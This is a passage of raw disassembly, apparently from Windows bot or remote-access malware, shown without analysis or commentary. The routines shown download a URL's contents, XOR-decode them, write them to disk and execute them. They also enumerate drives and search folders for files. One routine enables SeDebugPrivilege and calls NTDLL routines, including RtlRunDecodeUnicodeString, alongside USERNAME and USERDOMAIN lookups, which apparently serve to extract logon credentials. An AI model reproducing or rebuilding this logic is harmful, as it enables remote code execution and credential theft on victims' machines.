ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h Memory = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4E30A8 call dword_4E2FFC ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_4173EE push esi push esi push 2 push esi push esi lea eax, [ebp+Filename] push 40000000h push eax call ds:dword_4F53C0 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_417029 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_44E8F4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_41700C push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 add esp, 14h loc_41700C: ; CODE XREF: sub_416F62+88j lea eax, [ebp+Dst] push eax call sub_415C3F push [ebp+var_48] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_417029: ; CODE XREF: sub_416F62+68j xor edi, edi call ds:dword_4F537C ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx ; Size call _malloc pop ecx mov [ebp+Memory], eax loc_417043: ; CODE XREF: sub_416F62+1B4j push 200h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+Dst] push 200h push eax push [ebp+var_18] call dword_4E3004 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_417087 push [ebp+arg_0] lea eax, [ebp+Dst] push eax call sub_417454 pop ecx pop ecx loc_417087: ; CODE XREF: sub_416F62+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+Dst] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4F53B4 ; WriteFile cmp edi, ebx jnb short loc_4170C5 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_4170AF mov eax, [ebp+arg_0] loc_4170AF: ; CODE XREF: sub_416F62+148j push eax ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+Memory] add eax, edi push eax ; Dst call _memcpy add esp, 0Ch loc_4170C5: ; CODE XREF: sub_416F62+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_4170D2 cmp edi, [ebp+var_3C] ja short loc_41711C loc_4170D2: ; CODE XREF: sub_416F62+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_4170EC shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_44E91C jmp short loc_4170FC ; --------------------------------------------------------------------------- loc_4170EC: ; CODE XREF: sub_416F62+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset asc_44E944 ; "-" loc_4170FC: ; CODE XREF: sub_416F62+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_455E18 push eax ; Dest call _sprintf add esp, 10h cmp [ebp+arg_0], esi ja loc_417043 loc_41711C: ; CODE XREF: sub_416F62+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_417171 cmp edi, [ebp+var_3C] jz short loc_417171 push [ebp+var_3C] lea eax, [ebp+Dst] mov [ebp+var_14], esi push edi push offset asc_44E96C ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 lea eax, [ebp+Dst] push eax call sub_415C3F add esp, 28h loc_417171: ; CODE XREF: sub_416F62+1C4j ; sub_416F62+1C9j call ds:dword_4F537C ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_4F533C ; CloseHandle push [ebp+Memory] ; Memory call _free cmp [ebp+var_38], esi pop ecx jz short loc_4171FB lea eax, [ebp+Filename] push eax ; Filename call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_4171FB push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+Dst] push offset asc_44E998 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 lea eax, [ebp+Dst] push eax call sub_415C3F add esp, 28h loc_4171FB: ; CODE XREF: sub_416F62+241j ; sub_416F62+253j cmp [ebp+var_14], esi jz loc_41743B cmp [ebp+var_44], 1 jz loc_4172F6 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_43C490 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_43C490 fstp [esp+590h+var_590] push offset asc_44E9C0 ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_417276 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 add esp, 14h loc_417276: ; CODE XREF: sub_416F62+2F2j lea eax, [ebp+Dst] push eax call sub_415C3F cmp [ebp+var_40], 1 pop ecx jnz loc_41743B push 5 push esi lea eax, [ebp+Filename] push esi push eax push offset aOpen_2 ; "open" push esi call dword_4E3064 cmp [ebp+var_30], esi jnz loc_41743B lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_44EA00 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 lea eax, [ebp+Dst] push eax call sub_415C3F add esp, 24h jmp loc_41743B ; --------------------------------------------------------------------------- loc_4172F6: ; CODE XREF: sub_416F62+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_43C490 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_43C490 fstp [esp+590h+var_590] push offset asc_44EA1C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_41735E push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 add esp, 14h loc_41735E: ; CODE XREF: sub_416F62+3DAj lea eax, [ebp+Dst] push eax call sub_415C3F push 10h ; Size lea eax, [ebp+var_10] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_310] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset dword_4EADD8 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+Filename] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_4F5340 ; CreateProcessA cmp eax, edi jnz short loc_4173E0 call dword_4E3050 ; WSACleanup call sub_4190F6 push esi call ds:dword_4F5338 ; ExitProcess loc_4173E0: ; CODE XREF: sub_416F62+46Aj lea eax, [ebp+Filename] push eax push offset unk_44EA60 jmp short loc_4173FA ; --------------------------------------------------------------------------- loc_4173EE: ; CODE XREF: sub_416F62+45j lea eax, [ebp+var_248] push eax push offset asc_44EA94 ; "-" loc_4173FA: ; CODE XREF: sub_416F62+48Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_41742E push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409D34 add esp, 14h loc_41742E: ; CODE XREF: sub_416F62+4AAj lea eax, [ebp+Dst] push eax call sub_415C3F pop ecx loc_41743B: ; CODE XREF: sub_416F62+29Cj ; sub_416F62+325j ... push [ebp+var_18] call dword_4E312C ; InternetCloseHandle push [ebp+var_48] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread sub_416F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417454 proc near ; CODE XREF: sub_416F62+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_417470 loc_417460: ; CODE XREF: sub_417454+1Aj mov dl, byte_43F094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_417460 locret_417470: ; CODE XREF: sub_417454+Aj retn sub_417454 endp ; =============== S U B R O U T I N E ======================================= sub_417471 proc near ; CODE XREF: sub_401CC7+58C2p ; sub_401CC7+59EAp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_421680 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_417471 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41748B proc near ; CODE XREF: sub_4103EB+458p ; sub_4103EB+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h ; Size mov edi, offset dword_4EADDC push 0 ; Val push edi ; Dst call _memset mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4174B0: ; CODE XREF: sub_41748B+5Bj ; sub_41748B+61j push 0 push 0Ah push [ebp+arg_4] push ebx call __aullrem push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call __aulldiv mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4174EE inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4174B0 mov byte ptr [esi], 2Ch inc esi jmp short loc_4174B0 ; --------------------------------------------------------------------------- loc_4174EE: ; CODE XREF: sub_41748B+4Bj dec esi mov eax, edi loc_4174F1: ; CODE XREF: sub_41748B+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_417500 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_4174F1 ; --------------------------------------------------------------------------- loc_417500: ; CODE XREF: sub_41748B+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_41748B endp ; =============== S U B R O U T I N E ======================================= sub_41750A proc near ; CODE XREF: sub_4176CB+51p ; sub_4176CB+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4E3158 ; GetDriveTypeA sub eax, 0 jz short loc_41754D dec eax jz short loc_417547 dec eax dec eax jz short loc_417541 dec eax jz short loc_41753B dec eax jz short loc_417535 dec eax jz short loc_41752F mov eax, offset dword_44EAEC retn ; --------------------------------------------------------------------------- loc_41752F: ; CODE XREF: sub_41750A+1Dj mov eax, offset off_44EAE8 retn ; --------------------------------------------------------------------------- loc_417535: ; CODE XREF: sub_41750A+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_41753B: ; CODE XREF: sub_41750A+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_417541: ; CODE XREF: sub_41750A+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_417547: ; CODE XREF: sub_41750A+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_41754D: ; CODE XREF: sub_41750A+Dj mov eax, offset aUnknown ; "Unknown" retn sub_41750A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417553 proc near ; CODE XREF: sub_41759B+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4E2FE8 test eax, eax jz short loc_417588 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_417588: ; CODE XREF: sub_417553+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_417553 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41759B proc near ; CODE XREF: sub_4176CB+17p ; sub_41B92C+1F3p Dest = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_417553 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_41767E mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_41767E mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_41767E mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call __alldiv push edx push eax call sub_41748B pop ecx mov esi, 80h pop ecx push eax push offset aSkb ; "%sKB" lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push edi push [ebp+var_C] push [ebp+var_10] call __alldiv push edx push eax call sub_41748B pop ecx pop ecx push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push edi push [ebp+var_4] push [ebp+var_8] call __alldiv push edx push eax call sub_41748B pop ecx pop ecx push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi ; Count push eax ; Dest call __snprintf add esp, 10h jmp short loc_4176B7 ; --------------------------------------------------------------------------- loc_41767E: ; CODE XREF: sub_41759B+2Cj ; sub_41759B+3Bj ... lea eax, [ebp+Dest] push offset aFailed ; "failed" push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_118] pop ecx push offset aFailed_0 ; "failed" push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_98] pop ecx push offset aFailed_1 ; "failed" push eax ; Dest call _sprintf pop ecx pop ecx loc_4176B7: ; CODE XREF: sub_41759B+E1j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+Dest] mov edi, eax rep movsd pop edi pop esi leave retn sub_41759B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4176CB(int,char *Str,int,int) sub_4176CB proc near ; CODE XREF: sub_41779D+17p ; sub_41779D+60p Dest = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h Str1 = byte ptr -80h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_41759B push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+Str1] push offset aFailed_2 ; "failed" rep movsd push eax ; Str1 call _strcmp add esp, 10h test eax, eax jnz short loc_41773E push ebx push ebx call sub_41750A pop ecx push eax push offset asc_44EB28 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_417772 ; --------------------------------------------------------------------------- loc_41773E: ; CODE XREF: sub_4176CB+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+Str1] push eax push ebx push ebx call sub_41750A pop ecx push eax push offset asc_44EB64 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 20h loc_417772: ; CODE XREF: sub_4176CB+71j push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 18h pop edi pop esi pop ebx leave retn sub_4176CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41779D(int,char *Str,int,int) sub_41779D proc near ; CODE XREF: sub_401CC7+2544p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4177BE push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_4176CB add esp, 10h jmp short loc_41781F ; --------------------------------------------------------------------------- loc_4177BE: ; CODE XREF: sub_41779D+9j push esi push edi push ebx push ebx call dword_4E3060 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi ; Size call _malloc pop ecx mov edi, eax push edi push esi call dword_4E3060 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_417816 loc_4177E2: ; CODE XREF: sub_41779D+77j push offset aA_1 ; "A:\\" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_417805 push esi ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_4176CB add esp, 10h loc_417805: ; CODE XREF: sub_41779D+54j push esi ; Str call _strlen cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_4177E2 loc_417816: ; CODE XREF: sub_41779D+43j push edi ; Memory call _free pop ecx pop edi pop esi loc_41781F: ; CODE XREF: sub_41779D+1Fj pop ebx pop ebp retn sub_41779D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417822 proc near ; DATA XREF: sub_401CC7+6920o Dest = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = dword ptr -218h var_115 = byte ptr -115h Str = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+Str] push eax ; Str call _strlen xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_417877 lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_115], bl loc_417877: ; CODE XREF: sub_417822+3Fj lea eax, [ebp+var_218] push eax push offset asc_44EBA4 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_8], ebx jnz short loc_4178BC push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409D34 add esp, 14h loc_4178BC: ; CODE XREF: sub_417822+78j lea eax, [ebp+Str] push ebx ; int push eax ; int lea eax, [ebp+var_218] push eax ; int lea eax, [ebp+var_298] push [ebp+var_C] ; int push eax ; Str push [ebp+var_29C] ; int call sub_41793D add esp, 18h push eax lea eax, [ebp+Dest] push offset asc_44EBCC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_41791D push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409D34 add esp, 14h loc_41791D: ; CODE XREF: sub_417822+D9j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_10] call sub_40BA72 pop ecx pop ecx push ebx call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_417822 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41793D(int,char *Str,int,int,int,int) sub_41793D proc near ; CODE XREF: sub_417822+B9p ; sub_41793D+9Cp var_548 = dword ptr -548h var_348 = dword ptr -348h Dest = byte ptr -244h var_140 = byte ptr -140h var_114 = byte ptr -114h var_113 = byte ptr -113h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 548h push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+Dest] push offset aS_29 ; "%s\\*" push esi ; Count push eax ; Dest call __snprintf mov edi, ds:dword_4F53F0 add esp, 10h lea eax, [ebp+var_140] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4179F6 loc_417983: ; CODE XREF: sub_41793D+B7j test [ebp+var_140], 10h jz short loc_4179E4 cmp [ebp+var_114], 2Eh jnz short loc_4179A7 cmp [ebp+var_113], 0 jz short loc_4179E4 cmp [ebp+var_113], 2Eh jz short loc_4179E4 loc_4179A7: ; CODE XREF: sub_41793D+56j lea eax, [ebp+var_114] push eax lea eax, [ebp+var_348] push [ebp+arg_10] push offset aSS_9 ; "%s\\%s" push esi ; Count push eax ; Dest call __snprintf push [ebp+arg_14] ; int lea eax, [ebp+var_348] push eax ; int push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_41793D add esp, 2Ch mov [ebp+arg_14], eax loc_4179E4: ; CODE XREF: sub_41793D+4Dj ; sub_41793D+5Fj ... lea eax, [ebp+var_140] push eax push ebx call ds:dword_4F53EC ; FindNextFileA test eax, eax jnz short loc_417983 loc_4179F6: ; CODE XREF: sub_41793D+44j push ebx mov ebx, ds:dword_4F53E0 call ebx ; FindClose push [ebp+arg_C] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSS_10 ; "%s\\%s" push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_140] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_417A80 loc_417A31: ; CODE XREF: sub_41793D+141j lea eax, [ebp+var_114] inc [ebp+arg_14] push eax lea eax, [ebp+var_548] push [ebp+arg_10] push offset asc_44EC04 ; "-" push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+var_548] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 28h lea eax, [ebp+var_140] push eax push esi call ds:dword_4F53EC ; FindNextFileA test eax, eax jnz short loc_417A31 loc_417A80: ; CODE XREF: sub_41793D+F2j push esi call ebx ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_41793D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A8B proc near ; DATA XREF: sub_401CC7+1CC0o Dest = byte ptr -29Ch var_9C = dword ptr -9Ch Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41B7D8 cmp eax, esi mov [ebp+var_4], eax jz short loc_417ACA cmp eax, 2 jz short loc_417ACA push offset unk_44EE04 jmp loc_417C09 ; --------------------------------------------------------------------------- loc_417ACA: ; CODE XREF: sub_417A8B+2Ej ; sub_417A8B+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41A51E pop ecx test eax, eax pop ecx jz loc_417C04 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_4F538C ; LoadLibraryA mov esi, ds:dword_4F5390 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4EC020, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4EC014, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4EC224, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4EC01C, eax call esi ; GetProcAddress mov dword_4EC018, eax call sub_417C5D test eax, eax mov [ebp+arg_0], eax jz loc_417BD7 mov esi, ds:dword_4F52D4 mov edi, 400h mov ebx, offset word_4EB014 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset word_4EB814 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4EC22C push [ebp+arg_0] jnz short loc_417B83 call sub_417DE6 jmp short loc_417B88 ; --------------------------------------------------------------------------- loc_417B83: ; CODE XREF: sub_417A8B+EFj call sub_417F8D loc_417B88: ; CODE XREF: sub_417A8B+F6j pop ecx test eax, eax pop ecx jz short loc_417BD0 cmp dword_4EC22C, 0 jnz short loc_417BB7 push ebx push edi push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_44ECFC ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 18h jmp short loc_417BEA ; --------------------------------------------------------------------------- loc_417BB7: ; CODE XREF: sub_417A8B+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417BC7 call sub_4180C3 jmp short loc_417BCC ; --------------------------------------------------------------------------- loc_417BC7: ; CODE XREF: sub_417A8B+133j call sub_41815A loc_417BCC: ; CODE XREF: sub_417A8B+13Aj pop ecx push eax jmp short loc_417BDC ; --------------------------------------------------------------------------- loc_417BD0: ; CODE XREF: sub_417A8B+101j push offset unk_44ED58 jmp short loc_417BDC ; --------------------------------------------------------------------------- loc_417BD7: ; CODE XREF: sub_417A8B+B6j push offset asc_44ED90 ; "-" loc_417BDC: ; CODE XREF: sub_417A8B+143j ; sub_417A8B+14Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_417BEA: ; CODE XREF: sub_417A8B+12Aj push 0 push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_41A51E pop ecx pop ecx push [ebp+var_8] call ds:dword_4F5410 ; FreeLibrary pop ebx jmp short loc_417C17 ; --------------------------------------------------------------------------- loc_417C04: ; CODE XREF: sub_417A8B+4Ej push offset asc_44EDD0 ; "-" loc_417C09: ; CODE XREF: sub_417A8B+3Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_417C17: ; CODE XREF: sub_417A8B+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417C3E push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_9C] ; int call sub_409D34 add esp, 14h loc_417C3E: ; CODE XREF: sub_417A8B+191j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_18] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_417A8B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417C5D proc near ; CODE XREF: sub_417A8B+ACp String = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_4F541C mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_4F5418 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4EC020 push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_4F5414 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4EC020 test eax, eax jnz short loc_417D4A mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417D4A push 1 mov ebx, ebp pop ecx cmp eax, 